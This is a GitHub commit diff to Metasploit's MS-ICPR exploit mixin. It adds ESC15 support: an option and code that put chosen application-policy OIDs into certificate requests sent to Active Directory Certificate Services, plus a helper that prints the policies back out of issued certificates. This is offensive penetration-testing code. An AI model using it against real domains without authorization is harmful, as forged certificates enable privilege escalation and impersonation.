Skip to content

Commit 0e3eb45

Browse files
committed
Add the inital code for ESC15
1 parent 50beffb commit 0e3eb45

File tree

1 file changed

+37
-3
lines changed

1 file changed

+37
-3
lines changed

lib/msf/core/exploit/remote/ms_icpr.rb

Lines changed: 37 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,8 @@ module Exploit::Remote::MsIcpr
2222
OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1'.freeze
2323
# [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
2424
OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1'.freeze
25+
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
26+
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze
2527

2628
class MsIcprError < StandardError; end
2729
class MsIcprConnectionError < MsIcprError; end
@@ -39,6 +41,7 @@ def initialize(info = {})
3941
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
4042
OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
4143
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
44+
OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
4245
OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
4346
OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
4447
Opt::RPORT(445)
@@ -131,6 +134,7 @@ def do_request_cert(icpr, opts)
131134
alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
132135
alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
133136
algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
137+
application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/))
134138
status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
135139
status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
136140
status_msg << " - digest algorithm: #{algorithm}" if algorithm
@@ -140,7 +144,8 @@ def do_request_cert(icpr, opts)
140144
dns: alt_dns,
141145
msext_sid: alt_sid,
142146
msext_upn: alt_upn,
143-
algorithm: algorithm
147+
algorithm: algorithm,
148+
application_policies: application_policies
144149
)
145150

146151
on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
@@ -205,6 +210,13 @@ def do_request_cert(icpr, opts)
205210
print_status("Certificate UPN: #{upn.join(', ')}")
206211
end
207212

213+
unless (policy_oids = get_cert_policy_oids(response[:certificate])).empty?
214+
print_status("Certificate Policies:")
215+
policy_oids.each do |oid|
216+
print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : ''))
217+
end
218+
end
219+
208220
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
209221
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
210222
info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
@@ -239,8 +251,10 @@ def do_request_cert(icpr, opts)
239251
# @param [String] dns An alternative DNS name to use.
240252
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
241253
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
254+
# @param [String] algorithm The algorithm to use when signing the CSR.
255+
# @param [Array<String>] application_policies OIDs to add as application policies.
242256
# @return [OpenSSL::X509::Request] The request object.
243-
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256')
257+
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
244258
request = OpenSSL::X509::Request.new
245259
request.version = 1
246260
request.subject = OpenSSL::X509::Name.new([
@@ -265,6 +279,14 @@ def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algor
265279
extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
266280
end
267281

282+
unless application_policies.empty?
283+
# todo: need to work this out so application_policies is processed as a proper array
284+
application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
285+
certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
286+
)
287+
extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
288+
end
289+
268290
unless extensions.empty?
269291
request.add_attribute(OpenSSL::X509::Attribute.new(
270292
'extReq',
@@ -349,6 +371,19 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
349371
)
350372
end
351373

374+
# Get the certificate policy OIDs from the certificate.
375+
#
376+
# @param [OpenSSL::X509::Certificate] cert
377+
# @return [Array<Rex::Proto::CryptoAsn1::ObjectId>] The policy OIDs if any were found.
378+
def get_cert_policy_oids(cert)
379+
ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' }
380+
return [] unless ext
381+
382+
cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der)
383+
cert_policies.value.map { |policy_info| Rex::Proto::CryptoAsn1::OIDs.value(policy_info[:policyIdentifier].value) }
384+
end
385+
386+
352387
# Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
353388
#
354389
# @param [OpenSSL::X509::Certificate] cert
@@ -402,7 +437,6 @@ def get_cert_san_dns(cert)
402437
end
403438
end
404439

405-
406440
# Get the E-mail addresses from the certificate.
407441
#
408442
# @param [OpenSSL::X509::Certificate] cert

0 commit comments

Comments
 (0)